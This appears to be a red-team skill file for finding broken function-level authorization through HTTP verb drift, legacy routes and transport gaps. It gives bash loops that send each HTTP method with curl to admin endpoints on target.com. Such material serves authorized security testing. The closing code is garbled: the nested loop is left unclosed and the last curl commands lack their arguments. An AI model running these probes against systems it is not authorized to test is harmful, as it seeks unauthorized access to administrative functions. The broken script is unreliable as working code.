hunt-broken-function-level-auth

name	hunt-broken-function-level-auth
description	Hunt broken function-level authorization via verb drift, route shadowing, and transport gaps.
category	redteam
version	1.1.0
revision_date	"2026-07-25T00:00:00.000Z"
license	MIT
platforms	["linux"]
compatibility	Requires curl, ffuf
tags	["redteam","authorization","function-level","API","verb-drift","route-shadowing"]
related_skills	["hunt-idor","hunt-auth-bypass","hunt-api-misconfig"]

Broken Function Level Authorization

Hunt for endpoints where authorization is enforced at the controller/middleware level but bypassed through HTTP verb drift, legacy routes, shadow endpoints, or transport protocol inconsistencies. Unlike IDOR (object-level), this targets ACTION-level authorization — can a user invoke admin functions despite lacking the admin role.

When to Use

• API has distinct user roles (admin, moderator, user) but role checks are per-controller, not per-method.
• Legacy or deprecated endpoints still served behind updated middleware.
• GraphQL, gRPC, and WebSocket transports exist alongside REST APIs without authorization parity.
• Feature flags or beta endpoints expose functionality before security review.
• Batch/job endpoints accept internal requests without role verification.

Quick Detection

# Verb drift: try PUT/DELETE on endpoints that return 403 on GET
for method in GET POST PUT PATCH DELETE OPTIONS; do
  curl --max-time 30 --connect-timeout 10 -sk -X "$method" "https://target.com/api/admin/users" -w "$method %{http_code}\n" -o /dev/null
done

Procedure

Phase 1 — HTTP Verb Drift

# Admin endpoints — each HTTP method may have different auth
ENDPOINTS=(
  "/api/admin/users"
  "/api/admin/settings"
  "/api/manage/orders"
  "/api/internal/config"
)

for ep in "${ENDPOINTS[@]}"; do
  for method in GET POST PUT PATCH DELETE; do
    curl --max-time 30 --connect-timeout 10 -sk -X "$method" "https://target.com$ep" \
      -w "$method $ep — %{http_code}\n" -o /dev/null
  
  
  curl --max-time 30 --connect-timeout 10 -sk -X   -o /dev/null -w 
  curl --max-time 30 --connect-timeout 10 -sk -X   -o /dev/null -w